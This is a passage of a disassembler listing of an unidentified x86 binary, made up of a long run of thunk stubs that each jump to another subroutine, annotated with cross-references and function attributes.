sub_40BDD0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF4 proc near ; CODE XREF: sub_40B0B0+5Cp jmp sub_40BC70 sub_401BF4 endp ; --------------------------------------------------------------------------- jmp loc_4327C0 ; --------------------------------------------------------------------------- jmp loc_431120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: sub_430AD0+20p ; sub_430C00+20p ... jmp sub_430690 sub_401C03 endp ; --------------------------------------------------------------------------- jmp loc_42ED30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C0D proc near jmp sub_4347B0 sub_401C0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C12 proc near ; CODE XREF: sub_4137E0+84p ; sub_433A20+3Cp ... jmp sub_433940 sub_401C12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: ___:0042C4D8p jmp sub_42B060 sub_401C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C1C proc near ; CODE XREF: sub_42A810+446p jmp sub_42A5F0 sub_401C1C endp ; --------------------------------------------------------------------------- jmp loc_41B620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: ___:00431256p ; sub_4331D0+23p jmp sub_431AC0 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; DATA XREF: ___:off_43E12Co jmp sub_427FF0 sub_401C2B endp ; --------------------------------------------------------------------------- jmp loc_41FC80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C35 proc near ; CODE XREF: sub_41AFE0+8p ; ___:0041B39Dp ... jmp sub_41A010 sub_401C35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: sub_42A100+3p jmp sub_42A130 sub_401C3A endp ; --------------------------------------------------------------------------- jmp loc_41AD80 ; --------------------------------------------------------------------------- jmp loc_416990 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C49 proc near ; CODE XREF: sub_40BD90+1Fp jmp sub_40BEC0 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_415A00+9p ; sub_415B20+18p jmp sub_4165D0 sub_401C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C53 proc near ; CODE XREF: sub_418C50+4p jmp sub_418F70 sub_401C53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C58 proc near ; CODE XREF: sub_407370+11p ; ___:00407397p ... jmp sub_407520 sub_401C58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C5D proc near ; CODE XREF: sub_404C70+111p ; sub_40D580+42p ... jmp sub_40A1F0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: ___:0041319Ap ; sub_413220+3Cp ... jmp sub_4157E0 sub_401C62 endp ; --------------------------------------------------------------------------- jmp loc_42E9C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4256B0+69p jmp sub_425820 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_40B520+2Fp ; sub_40B520+6Ep ... jmp sub_40BD60 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0042ED88p ; ___:0042ED9Dp ... jmp sub_432CC0 sub_401C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C7B proc near ; CODE XREF: sub_415370+11p ; sub_415DD0+1Fp jmp sub_415FC0 sub_401C7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C80 proc near ; DATA XREF: ___:0043E0D4o jmp sub_41D830 sub_401C80 endp ; --------------------------------------------------------------------------- jmp loc_419910 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: sub_407370+9p ; sub_418D80+18p jmp sub_4075C0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_4131F0+3p ; ___:00416B3Bp ... jmp sub_413220 sub_401C8F endp ; --------------------------------------------------------------------------- jmp loc_40B810 ; --------------------------------------------------------------------------- loc_401C99: ; DATA XREF: ___:off_43E05Co jmp loc_416C90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA3 proc near ; CODE XREF: ___:00416E6Ap jmp sub_4181B0 sub_401CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA8 proc near ; CODE XREF: sub_415AA0+Cp ; sub_415AA0+43p jmp sub_4165A0 sub_401CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CAD proc near ; CODE XREF: sub_409600+45p jmp sub_4098E0 sub_401CAD endp ; --------------------------------------------------------------------------- jmp loc_433140 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_40FF60+3A4p jmp sub_40A000 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_407790+653p ; ___:00407E8Ap ... jmp sub_4076F0 sub_401CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CC6 proc near ; CODE XREF: sub_415420+16p ; sub_415460+Bp ... jmp sub_416090 sub_401CC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CCB proc near ; CODE XREF: sub_409600+144p jmp sub_409970 sub_401CCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_404640+1C2p ; sub_404B10+36p ... jmp sub_4133D0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4150F0+34p ; sub_415B20+67p jmp sub_415CC0 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near jmp sub_409AA0 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; DATA XREF: ___:0043E06Co jmp sub_41FC00 sub_401CDF endp ; --------------------------------------------------------------------------- jmp loc_42E0B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE9 proc near ; CODE XREF: sub_40BE90+5p jmp sub_40C0F0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CEE proc near ; CODE XREF: ___:0043113Fp jmp sub_42F230 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; CODE XREF: sub_421D50+11p ; ___:00421D77p ... jmp sub_422300 sub_401CF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CF8 proc near ; DATA XREF: ___:0043E048o jmp sub_4131F0 sub_401CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CFD proc near ; CODE XREF: sub_4157A0+1Fp jmp sub_416120 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D02 proc near ; CODE XREF: sub_40F600+1ACp ; sub_40F600+1EDp ... jmp sub_40F590 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_413DA0+15Cp jmp sub_414090 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D0C proc near ; CODE XREF: sub_404C20+23p ; sub_40FF60+13C2p jmp sub_412B20 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D11 proc near ; CODE XREF: ___:00416E2Fp jmp sub_418050 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D16 proc near ; CODE XREF: sub_407540+7p ; sub_40C200+7p ... jmp sub_4075E0 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_40A810+1Ap ; sub_40A8C0+4p ... jmp sub_40A880 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404640+289p ; sub_404640+2ADp ... jmp sub_40A0A0 sub_401D20 endp ; --------------------------------------------------------------------------- jmp loc_42F2B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2A proc near ; DATA XREF: ___:0043E154o jmp sub_4282C0 sub_401D2A endp ; --------------------------------------------------------------------------- jmp loc_42E680 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D34 proc near jmp sub_403FC0 sub_401D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D39 proc near ; CODE XREF: sub_411FE0+123p ; sub_411FE0+1E2p jmp sub_4126B0 sub_401D39 endp ; --------------------------------------------------------------------------- jmp loc_41B470 ; --------------------------------------------------------------------------- jmp loc_40B790 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D48 proc near ; CODE XREF: sub_421C80+5p jmp sub_4221E0 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_415E70+5Fp jmp sub_416690 sub_401D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D52 proc near ; CODE XREF: sub_41D830+2C7p jmp sub_42EA40 sub_401D52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D57 proc near ; CODE XREF: sub_418BA0+7p jmp sub_418E40 sub_401D57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_413670+5Dp ; sub_413670+9Bp ... jmp sub_415340 sub_401D5C endp ; --------------------------------------------------------------------------- jmp loc_4360A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_415730+16p ; sub_415770+Bp ... jmp sub_4163E0 sub_401D66 endp ; --------------------------------------------------------------------------- jmp loc_40B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D70 proc near ; CODE XREF: sub_432ED0+98p jmp sub_430660 sub_401D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D75 proc near ; CODE XREF: sub_421B60+16p ; sub_421BA0+Bp ... jmp sub_4221B0 sub_401D75 endp ; --------------------------------------------------------------------------- jmp loc_42C7E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D7F proc near jmp sub_41C390 sub_401D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D84 proc near ; CODE XREF: sub_4189B0+16p ; sub_4189F0+Bp ... jmp sub_418D20 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_413670+53p ; sub_413670+91p ... jmp sub_4151A0 sub_401D89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D8E proc near ; CODE XREF: sub_422A40+56p jmp sub_4258A0 sub_401D8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D93 proc near ; CODE XREF: sub_422A40+18Ap jmp sub_4257A0 sub_401D93 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_428040+81p jmp sub_427AD0 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DA2 proc near ; CODE XREF: sub_415680+11p ; sub_416120+1Fp jmp sub_416310 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_415160+16p ; sub_4151A0+Bp ... jmp sub_415D40 sub_401DA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DAC proc near ; CODE XREF: ___:00414713p jmp sub_4144D0 sub_401DAC endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_426F70+90p jmp sub_427520 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: ___:0042B178p jmp sub_42AEC0 sub_401DBB endp ; --------------------------------------------------------------------------- jmp loc_414120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC5 proc near ; CODE XREF: sub_4337E0+74p jmp sub_4317F0 sub_401DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DCA proc near ; CODE XREF: sub_41FA90+1Dp jmp sub_40B070 sub_401DCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_40A9F0+45p jmp sub_40AC70 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DD4 proc near ; CODE XREF: ___:0042F33Dp ; ___:0042F462p ... jmp sub_431990 sub_401DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD9 proc near ; CODE XREF: ___:00425C34p jmp sub_426EB0 sub_401DD9 endp ; --------------------------------------------------------------------------- jmp loc_431A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_40FF60+AE7p ; sub_40FF60+E5Dp jmp sub_41EE70 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE8 proc near ; CODE XREF: sub_40ACA0+Ap jmp sub_40AD90 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DED proc near ; CODE XREF: ___:00416A3Bp ; ___:00439F7Aj ... jmp sub_417AE0 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DF2 proc near ; CODE XREF: sub_421E80+4p jmp sub_422320 sub_401DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF7 proc near ; CODE XREF: sub_40C400+271p ; sub_425020+50p jmp sub_423660 sub_401DF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: ___:0041617Ap jmp sub_416760 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E01 proc near ; CODE XREF: sub_415CC0+7p jmp sub_4164C0 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E06 proc near ; CODE XREF: sub_41D830+19Bp jmp sub_42C790 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E0B proc near ; CODE XREF: sub_404C70+83Bp ; sub_404C70+B68p ... jmp sub_412900 sub_401E0B endp ; --------------------------------------------------------------------------- jmp sub_4131F0 ; --------------------------------------------------------------------------- jmp sub_428220 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_4153B0+34p ; sub_415E70+67p jmp sub_416010 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E1F proc near ; CODE XREF: sub_413670+31p ; sub_4144D0+2Dp jmp sub_4152D0 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_40CBB0+1EEp ; ___:00423EC5p ... jmp sub_425640 sub_401E24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E29 proc near ; CODE XREF: sub_4158F0+3p jmp sub_4163C0 sub_401E29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E2E proc near ; CODE XREF: sub_404640+97p ; sub_404640+107p ... jmp sub_40A3C0 sub_401E2E endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: ___:00423CFDp jmp sub_423850 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: ___:00421D0Ap jmp sub_422210 sub_401E3D endp ; --------------------------------------------------------------------------- jmp loc_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E47 proc near jmp sub_4355E0 sub_401E47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E4C proc near ; DATA XREF: ___:off_43E098o jmp sub_4356F0 sub_401E4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E51 proc near ; CODE XREF: ___:0043250Fp jmp sub_42FDB0 sub_401E51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: sub_4165A0+5p jmp sub_4167F0 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: sub_404C70+28Dp ; sub_41D830+6A6p jmp sub_40DB40 sub_401E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E60 proc near ; CODE XREF: sub_422410+5Fp jmp sub_422600 sub_401E60 endp ; --------------------------------------------------------------------------- jmp loc_419E90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; CODE XREF: sub_40F600+22p ; sub_411860+1Dp ... jmp sub_40ADC0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: sub_40A9F0+112p ; sub_40A9F0+153p jmp sub_40ACD0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; DATA XREF: ___:off_43E0C0o jmp sub_41B010 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_4155E0+3p jmp sub_416070 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_426960+1Ap jmp sub_426820 sub_401E7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E83 proc near ; CODE XREF: ___:00416B0Bp ; ___:00439EC4j ... jmp sub_4175E0 sub_401E83 endp ; --------------------------------------------------------------------------- jmp loc_431EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_4200F0+3Ap jmp sub_420300 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E92 proc near ; DATA XREF: ___:0043E114o jmp sub_426F70 sub_401E92 endp ; --------------------------------------------------------------------------- jmp loc_432800 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E9C proc near ; CODE XREF: sub_416310+4p jmp sub_416710 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: sub_415830+4Fp ; sub_4161C0+11p ... jmp sub_416410 sub_401EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA6 proc near ; CODE XREF: sub_415650+5p jmp sub_4160F0 sub_401EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_424840+151p jmp sub_424800 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB0 proc near ; CODE XREF: ___:00416AABp ; ___:00439F18j ... jmp sub_417830 sub_401EB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB5 proc near ; CODE XREF: sub_4152D0+3p jmp sub_415D20 sub_401EB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_415030+11p ; sub_415070+13p ... jmp sub_415C70 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_421960+16p ; sub_4219A0+Bp ... jmp sub_421F50 sub_401EBF endp ; --------------------------------------------------------------------------- jmp loc_418860 ; --------------------------------------------------------------------------- jmp loc_41C250 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: sub_418E90+18p ; sub_421CB0+9p jmp sub_419050 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_422540+Ap jmp sub_4226E0 sub_401ED3 endp ; --------------------------------------------------------------------------- jmp loc_41BC50 ; --------------------------------------------------------------------------- jmp loc_4328B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE2 proc near ; CODE XREF: ___:00416A0Bp ; ___:00439FA4j ... jmp sub_417B20 sub_401EE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE7 proc near ; CODE XREF: sub_40A810+13p jmp loc_40A950 sub_401EE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_41B060:loc_41B0ACp ; sub_41B950+54p ... jmp sub_4198A0 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF1 proc near ; CODE XREF: ___:004142C5p jmp sub_415490 sub_401EF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF6 proc near ; CODE XREF: sub_4156C0+34p ; sub_4161C0+67p jmp sub_416360 sub_401EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EFB proc near ; CODE XREF: sub_4152F0+3p ; ___:00415A4Fp ... jmp sub_415D00 sub_401EFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F00 proc near jmp sub_412C10 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F05 proc near ; CODE XREF: sub_413120+4Dp jmp sub_415370 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_4070F0+5Cp ; sub_418E60+3p jmp sub_407310 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00419103p jmp sub_419170 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F14 proc near ; CODE XREF: ___:0040BF1Ap jmp sub_40C250 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: ___:0042B15Fp jmp sub_42ADB0 sub_401F19 endp ; --------------------------------------------------------------------------- loc_401F1E: ; DATA XREF: ___:off_43E08Co jmp loc_4348A0 ; --------------------------------------------------------------------------- loc_401F23: ; DATA XREF: ___:004240B4o jmp loc_423C10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: ___:00416A6Bp ; ___:00439F50j ... jmp sub_417A40 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F2D proc near ; CODE XREF: sub_413B70+99p jmp sub_413D40 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: sub_40B390+3Dp ; ___:0040BB2Dp ... jmp sub_40B700 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:loc_423CA7p jmp sub_423720 sub_401F37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F3C proc near ; CODE XREF: sub_404C70+A3Ep jmp sub_406890 sub_401F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F41 proc near ; DATA XREF: ___:off_43E1A0o jmp sub_42B350 sub_401F41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F46 proc near ; CODE XREF: sub_4139B0+72p jmp sub_413670 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_418330+5Fp ; sub_418940+1Ap ... jmp sub_4189B0 sub_401F4B endp ; --------------------------------------------------------------------------- jmp loc_42EFA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: sub_42E400+B5p jmp sub_42D2C0 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_40B520+4Bp ; sub_40B520:loc_40B5ABp ... jmp sub_40BE40 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F5F proc near jmp sub_41E400 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F64 proc near ; CODE XREF: sub_40A430+142p jmp sub_40A810 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_404640+35Dp ; sub_404640+39Ep jmp sub_404B10 sub_401F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F6E proc near ; CODE XREF: sub_415DD0+9p ; sub_415E70+18p jmp sub_4166D0 sub_401F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_431B30+1Bp jmp sub_431BE0 sub_401F73 endp ; --------------------------------------------------------------------------- jmp loc_42AFD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F7D proc near ; CODE XREF: sub_426450+1Dp ; sub_4269A0+1Dp ... jmp sub_4264C0 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_427DC0+1Dp ; sub_428160+1Fp ... jmp sub_427E30 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: ___:00429D73p jmp sub_429DA0 sub_401F87 endp ; --------------------------------------------------------------------------- jmp loc_406BD0 ; --------------------------------------------------------------------------- jmp loc_40D460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F96 proc near ; CODE XREF: sub_409600+112p ; sub_409600+153p jmp sub_409940 sub_401F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_422600+5p jmp sub_422770 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_407340+5p jmp sub_4074F0 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: sub_413670+6Fp ; sub_413670+DBp ... jmp sub_4152F0 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_42B830 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FAF proc near ; CODE XREF: sub_415210+5Ep ; sub_415BE0+32p jmp sub_415B20 sub_401FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near jmp sub_40F030 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_412B20+3p jmp sub_412B50 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_404640+48p ; sub_404640+5Dp ... jmp sub_409D20 sub_401FBE endp ; --------------------------------------------------------------------------- jmp loc_419950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC8 proc near ; CODE XREF: sub_41A0E0+3p ; sub_41B040+9j ... jmp sub_41A110 sub_401FC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_40BCB0+34p ; sub_40C120+67p jmp sub_40C040 sub_401FCD endp ; --------------------------------------------------------------------------- jmp loc_432690 ; --------------------------------------------------------------------------- loc_401FD7: ; DATA XREF: ___:off_43E094o jmp loc_435280 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near jmp sub_40F0B0 sub_401FDC endp ; --------------------------------------------------------------------------- jmp loc_436300 ; --------------------------------------------------------------------------- loc_401FE6: ; DATA XREF: ___:0043E03Co jmp loc_41EDB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap jmp sub_41FF40 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_430380 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp ; ___:00439F88j ... jmp sub_417B00 sub_401FF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FFA proc near ; CODE XREF: ___:00416D7Fp jmp sub_413120 sub_401FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFF proc near ; CODE XREF: sub_421A80+5p jmp sub_421F80 sub_401FFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402004 proc near ; CODE XREF: ___:00421654p jmp sub_41BFA0 sub_402004 endp ; --------------------------------------------------------------------------- off_402009 dd 